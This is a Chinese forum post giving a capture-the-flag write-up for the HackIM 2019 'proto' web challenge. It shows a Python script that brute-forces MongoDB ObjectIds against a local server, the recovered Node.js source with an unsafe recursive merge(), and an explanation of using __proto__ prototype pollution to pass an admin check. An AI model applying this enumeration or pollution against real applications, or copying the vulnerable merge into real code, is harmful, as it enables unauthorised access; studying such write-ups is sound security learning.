查看: 147|回复: 1

[Web] hackim_2019_web_proto

[复制链接]
发表于 2020-4-21 18:38:13 | 显示全部楼层 |阅读模式
访问提示:

hackim_2019_web_proto

hackim_2019_web_proto

访问/getPost后提示:

hackim_2019_web_proto

hackim_2019_web_proto

访问/getPOST?id=5c51b9c9144f813f31a4c0e2提示:

hackim_2019_web_proto

hackim_2019_web_proto


输入单引号有报错信息:

hackim_2019_web_proto

hackim_2019_web_proto


Hint有提示:

* mango can be eaten in 60 seconds
* Mongo Mongo Mongo !!! and this is not a sql Injection
所以这里注入没用。
因为这是Node.js的站,使用之前的办法引出报错信息:/getPost?id[]=1

hackim_2019_web_proto

hackim_2019_web_proto

提示了后端数据库使用了Mongodb,Mongodb中有一个叫做ObjectId的概念。
ObjectId是一个12字节的BSON数据类型,结构为:
  • 前4个字节是自unix时代以来的秒数。
  • 接下来的3个字节是机器标识符。
  • 接下来的2个字节是进程ID。
  • 最后3个字节是计数器值。随机值。
而给我们的id正好是12字节的。根据第一个提示时间差小于60s来尝试爆破:

import requests

url = 'http://localhost:4545/getPOST?id=%s144f813f31%s'  
time = 0x5c51b9c9  
counter = 0xa4c0e2

for i in range(100):  
    counter = hex(counter - 1)[2:]
    for i in range(1000000):
        time = hex(time - 1)[2:] 
        nurl = url % (time, counter)
        res = requests.get(nurl)
        if 'Not found' not in res.text:
            print(res.text, nurl)
            time = int(time, 16)
            counter = int(counter, 16)
            break
        time = int(time, 16)
id=5c51b911144f813f31a4c0df得到关键信息:

hackim_2019_web_proto

hackim_2019_web_proto

访问/4f34685f64ec9b82ea014bda3274b0df/得到源码:
'use strict';

const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');


const isObject = obj => obj && obj.constructor && obj.constructor === Object;

function merge(a,b){
 for (var attr in b){   
   if(isObject(a[attr]) && isObject(b[attr])){
      merge(a[attr],b[attr]);
   }
   else{
    a[attr] = b[attr];
 }
 }  
 return a 
} 

function clone(a){
  return merge({},a);
}

// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};

// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());

app.use('/', express.static(path.join(__dirname, 'views')))

app.post('/signup', (req, res) => {
  var body = JSON.parse(JSON.stringify(req.body));
  var copybody = clone(body)
  if(copybody.name){
      res.cookie('name', copybody.name).json({"done":"cookie set"}); 
  }
  else{
    res.json({"error":"cookie not set"})
  }
});

app.get('/getFlag', (req, res) => {


     var аdmin=JSON.parse(JSON.stringify(req.cookies))
    
    if(admin.аdmin==1){
      res.send("hackim19{}");
    }
    else{
      res.send("You are not authorized"); 
    }


});


app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);
要满足admin.аdmin等于1。因为__proto__是一个Object,会递归进入merge(),由于__proto__有一对key-value,所以会判断__proto__["admin"]是否是Object,不是就进入else,对原型__proto__["admin"]赋值为1,这就完成了原型链污染的操作。
最后访问/getFlag就能拿到flag:
hackim19{Prototype_for_the_win}
function merge(a,b){
 for (var attr in b){   
   if(isObject(a[attr]) && isObject(b[attr])){
      merge(a[attr],b[attr]);
   }
   else{
    a[attr] = b[attr];
 }
 }  
 return a 
} 

温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的最好奖励,还可以获得学币奖励,请尊重作者的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046

0

主题

143

帖子

0

精华

中级会员

Rank: 8Rank: 8

学币
369
荣耀
0
rank
0
违规
0

    发表于 2020-4-21 23:08:04 | 显示全部楼层
    啥也不说了,加入收藏!
    快速回复 返回顶部 返回列表